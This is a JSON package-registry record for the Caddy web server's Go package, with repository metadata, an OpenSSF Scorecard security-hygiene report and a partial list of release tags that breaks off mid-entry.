{"id":3508125,"name":"github.com/caddyserver/caddy","ecosystem":"go","description":"Package caddy implements the Caddy server manager.","homepage":"https://github.com/caddyserver/caddy","licenses":"apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/caddyserver/caddy","keywords_array":[],"namespace":"github.com/caddyserver","versions_count":49,"first_release_published_at":"2015-04-28T05:20:58.000Z","latest_release_published_at":"2020-01-15T16:57:41.000Z","latest_release_number":"v1.0.5","last_synced_at":"2026-08-19T04:15:27.489Z","created_at":"2022-04-10T20:51:23.366Z","updated_at":"2026-08-19T10:14:23.976Z","registry_url":"https://pkg.go.dev/github.com/caddyserver/caddy","install_command":"go get github.com/caddyserver/caddy","documentation_url":"https://pkg.go.dev/github.com/caddyserver/caddy#section-documentation","metadata":{},"repo_metadata":{"id":25769384,"uuid":"29207621","full_name":"caddyserver/caddy","owner":"caddyserver","description":"Fast and extensible multi-platform HTTP/1-2-3 web server with automatic HTTPS","archived":false,"fork":false,"pushed_at":"2026-08-16T11:06:04.000Z","size":21939,"stargazers_count":74986,"open_issues_count":271,"forks_count":4891,"subscribers_count":865,"default_branch":"master","last_synced_at":"2026-08-18T02:44:30.761Z","etag":null,"topics":["acme","automatic-https","caddy","caddyfile","go","golang","http","http-server","http3","https","privacy","reverse-proxy","security","tls","web-server"],"latest_commit_sha":null,"homepage":"https://caddyserver.com","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/caddyserver.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","dco":null,"cla":null},"funding":{"github":["mholt"],"patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":null}},"created_at":"2015-01-13T19:45:03.000Z","updated_at":"2026-08-18T02:28:39.000Z","dependencies_parsed_at":"2023-12-18T23:03:21.181Z","dependency_job_id":"a58bb368-f0e3-4ec6-b7d4-eff6c9612396","html_url":"https://github.com/caddyserver/caddy","commit_stats":{"total_commits":2007,"total_committers":289,"mean_commits":6.944636678200692,"dds":0.4803188839063278,"last_synced_commit":"7088605cc11c52c2777ab613dfc5c2a9816006e4"},"previous_names":["mholt/caddy"],"tags_count":154,"template":false,"template_full_name":null,"purl":"pkg:github/caddyserver/caddy","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/caddyserver","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/sbom","scorecard":{"id":261528,"data":{"date":"2025-08-15T02:58:12Z","repo":{"name":"github.com/caddyserver/caddy","commit":"05acc5131ed5c80acbd28ed8d907b166cd15b72c"},"scorecard":{"version":"v5.2.1","commit":"ab2f6e92482462fe66246d9e32f642855a691dc1"},"score":9.3,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 22 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: detected update tool: Dependabot: .github/dependabot.yml:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#dependency-update-tool"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"Code-Review","score":7,"reason":"Found 22/28 approved changesets -- score normalized to 7","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/ci.yml:218","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/ci.yml:219","Info: jobLevel 'contents' permission set to 'read': .github/workflows/ci.yml:62","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/ci.yml:63","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/ci.yml:64","Info: jobLevel 'contents' permission set to 'read': .github/workflows/ci.yml:157","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/ci.yml:158","Info: jobLevel 'contents' permission set to 'read': .github/workflows/cross-build.yml:47","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/cross-build.yml:48","Info: jobLevel 'contents' permission set to 'read': .github/workflows/lint.yml:24","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/lint.yml:25","Info: jobLevel 'contents' permission set to 'read': .github/workflows/lint.yml:71","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/lint.yml:72","Info: jobLevel 'contents' permission set to 'read': .github/workflows/lint.yml:89","Info: jobLevel 'contents' permission set to 'read': .github/workflows/release_published.yml:20","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/release_published.yml:21","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/release_published.yml:22","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci.yml:20","Info: topLevel 'contents' permission set to 'read': .github/workflows/cross-build.yml:18","Info: topLevel 'contents' permission set to 'read': .github/workflows/lint.yml:14","Info: topLevel 'contents' permission set to 'read': .github/workflows/release.yml:13","Info: topLevel 'contents' permission set to 'read': .github/workflows/release_published.yml:9","Info: topLevel permissions set to 'read-all': .github/workflows/scorecard.yml:21"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":8,"reason":"dependency not pinned by hash detected -- score normalized to 8","details":["Warn: goCommand not pinned by hash: .github/workflows/ci.yml:241","Warn: pipCommand not pinned by hash: .github/workflows/release.yml:100","Warn: goCommand not pinned by hash: .github/workflows/release.yml:121","Info:  17 out of  17 GitHub-owned GitHubAction dependencies pinned","Info:  20 out of  20 third-party GitHubAction dependencies pinned","Info:   1 out of   3 goCommand dependencies pinned","Info:   0 out of   1 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":2,"reason":"badge detected: InProgress","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: all commits (24) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":8,"reason":"5 out of the last 5 releases have a total of 5 signed artifacts.","details":["Info: signed release artifact: caddy_2.10.0_buildable-artifact.tar.gz.sig: https://github.com/caddyserver/caddy/releases/tag/v2.10.0","Info: signed release artifact: caddy_2.10.0-beta.4_buildable-artifact.tar.gz.sig: https://github.com/caddyserver/caddy/releases/tag/v2.10.0-beta.4","Info: signed release artifact: caddy_2.10.0-beta.3_buildable-artifact.tar.gz.sig: https://github.com/caddyserver/caddy/releases/tag/v2.10.0-beta.3","Info: signed release artifact: caddy_2.10.0-beta.2_buildable-artifact.tar.gz.sig: https://github.com/caddyserver/caddy/releases/tag/v2.10.0-beta.2","Info: signed release artifact: caddy_2.10.0-beta.1_buildable-artifact.tar.gz.sig: https://github.com/caddyserver/caddy/releases/tag/v2.10.0-beta.1","Warn: release artifact v2.10.0 does not have provenance: https://api.github.com/repos/caddyserver/caddy/releases/213376732","Warn: release artifact v2.10.0-beta.4 does not have provenance: https://api.github.com/repos/caddyserver/caddy/releases/208007025","Warn: release artifact v2.10.0-beta.3 does not have provenance: https://api.github.com/repos/caddyserver/caddy/releases/207980452","Warn: release artifact v2.10.0-beta.2 does not have provenance: https://api.github.com/repos/caddyserver/caddy/releases/204559573","Warn: release artifact v2.10.0-beta.1 does not have provenance: https://api.github.com/repos/caddyserver/caddy/releases/204176646"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/ci.yml:215"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"CI-Tests","score":10,"reason":"24 out of 24 merged PRs checked by a CI test -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#ci-tests"}},{"name":"Contributors","score":10,"reason":"project has 34 contributing companies or organizations","details":["Info: found contributions from: CarletonU-COMP2406-W2013, ClangBuiltLinux, DockerOttawaMeetup, Hal9k-dk, HitB2018, MyTuur, NixOS, RocketMaps, activitystreams, api-platform, caddyserver, cloudreve, coopTilleuls, cooptilleuls, diso, framer, freelancer, grafana, halogenOS, indieweb, ipfs, onestlatech, perkeep, php, quic-go, remotecto, symfony, tailscale, tailscale-dev, thephpleague, todogroup, toowoxx it gmbh, vectorface, webfinger"],"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#contributors"}}]},"last_synced_at":"2025-08-17T10:56:28.082Z","repository_id":25769384,"created_at":"2025-08-17T10:56:28.082Z","updated_at":"2025-08-17T10:56:28.082Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36754176,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-18T02:00:06.197Z","response_time":52,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"caddyserver","name":"Caddy","uuid":"12955528","kind":"organization","description":"The ultimate server: enterprise-ready, extensible, open source, and automatic HTTPS with a configuration API","email":null,"website":"https://caddyserver.com","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/12955528?v=4","repositories_count":25,"last_synced_at":"2023-04-08T11:55:56.319Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/caddyserver","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2022-11-06T23:21:51.002Z","updated_at":"2023-04-08T11:55:56.443Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/caddyserver","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/caddyserver/repositories"},"tags":[{"name":"v2.11.4","sha":"e2eee6a7fce366321294c9c2a79f3146891dcbdf","kind":"tag","published_at":"2026-06-03T03:54:40.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.11.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.4/manifests"},{"name":"v2.11.3","sha":"cc58caa1099240ef1a4c280b892260b380a85c86","kind":"tag","published_at":"2026-05-12T02:55:07.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.11.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.3/manifests"},{"name":"v2.11.2","sha":"ffb6ab0644f24c5ee6542aca6bd59b7a1b0a8f91","kind":"tag","published_at":"2026-03-06T01:54:56.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.11.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.2/manifests"},{"name":"v2.11.1","sha":"6610e2f1bd8f54853006eefd3849c9965190e57f","kind":"tag","published_at":"2026-02-20T22:55:33.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.11.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.1/manifests"},{"name":"v2.11.0","sha":"03243e42fe46f6bf276cbbf5dcdc7e18fde461d7","kind":"tag","published_at":"2026-02-20T21:10:16.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.11.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.0/manifests"},{"name":"v2.11.0-beta.2","sha":"7b031e1eb5bc0bae9a8394d93f20399932ebd4d3","kind":"tag","published_at":"2026-01-06T17:29:43.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.11.0-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.11.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.11.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.0-beta.2/manifests"},{"name":"v2.11.0-beta.1","sha":"df9386fa128ff8746d24afeda1d0f37085a58f8d","kind":"tag","published_at":"2025-12-03T17:23:02.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.11.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.11.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.11.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.11.0-beta.1/manifests"},{"name":"v2.10.2","sha":"551f793700fe1550845c824470b623fd1aa03d36","kind":"tag","published_at":"2025-08-23T01:46:14.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.10.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.2/manifests"},{"name":"v2.10.1","sha":"3723e895854a1f9e528ec278acb0ed8ef1c63f81","kind":"tag","published_at":"2025-08-22T15:42:01.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.10.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.1/manifests"},{"name":"v2.10.0","sha":"fb22a26b1a08a2fa3b2526d1852467904ee140f6","kind":"tag","published_at":"2025-04-18T18:26:09.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.10.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0/manifests"},{"name":"v2.10.0-beta.4","sha":"7672b7848f196e1baa859bcc2cf6610546097947","kind":"tag","published_at":"2025-03-25T02:51:36.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.10.0-beta.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.10.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.10.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0-beta.4/manifests"},{"name":"v2.10.0-beta.3","sha":"86c620fb4e7bfad5888832c491147af53fd5390a","kind":"tag","published_at":"2025-03-24T22:20:41.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.10.0-beta.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.10.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.10.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0-beta.3/manifests"},{"name":"v2.10.0-beta.2","sha":"d57ab215a2f198a465ea33abe4588bb5696e7abd","kind":"tag","published_at":"2025-03-08T23:16:58.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.10.0-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.10.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.10.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0-beta.2/manifests"},{"name":"v2.10.0-beta.1","sha":"1641e76fd742408c85363e4826451ba9ef22bc99","kind":"tag","published_at":"2025-03-06T17:08:12.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.10.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.10.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.10.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.10.0-beta.1/manifests"},{"name":"v2.9.1","sha":"0e570e0cc717f02cf3800ae741df70cd074c7275","kind":"tag","published_at":"2025-01-08T14:47:01.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.9.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"3f3f8b3d5270add46d5fc7d99bdcc705ad2d5df4","kind":"tag","published_at":"2024-12-31T17:03:26.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.9.0","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.0/manifests"},{"name":"v2.9.0-beta.3","sha":"da88ec152c28201d82c78df53a45363276a0e2f4","kind":"tag","published_at":"2024-11-05T18:11:34.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.9.0-beta.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.9.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.9.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.0-beta.3/manifests"},{"name":"v2.9.0-beta.2","sha":"01be1b54a8c9b7e6ea52af8165c583d4d2ebe7e3","kind":"tag","published_at":"2024-10-02T16:55:25.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.9.0-beta.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.9.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.9.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.0-beta.2/manifests"},{"name":"v2.9.0-beta.1","sha":"41f5dd56e1b93ec815daa98dd1f1caa7f2087312","kind":"tag","published_at":"2024-10-02T15:10:01.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.9.0-beta.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.9.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.9.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.9.0-beta.1/manifests"},{"name":"v2.8.4","sha":"7088605cc11c52c2777ab613dfc5c2a9816006e4","kind":"tag","published_at":"2024-06-02T12:06:36.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.8.4","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.4/manifests"},{"name":"v2.8.3","sha":"15faeacb6065d2395a80a6a5f868149744f5de4a","kind":"tag","published_at":"2024-06-02T11:39:55.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.8.3","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"15faeacb6065d2395a80a6a5f868149744f5de4a","kind":"tag","published_at":"2024-06-02T04:18:29.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.8.2","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/caddyserver/caddy@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"40c582ce8273bf12b08e8e77df6498bca5f626a6","kind":"tag","published_at":"2024-05-30T13:34:32.000Z","download_url":"https://codeload.github.com/caddyserver/caddy/tar.gz/v2.8.1","html_url":"https://github.com/caddyserver/caddy/releases/tag/v2.8.1","dependen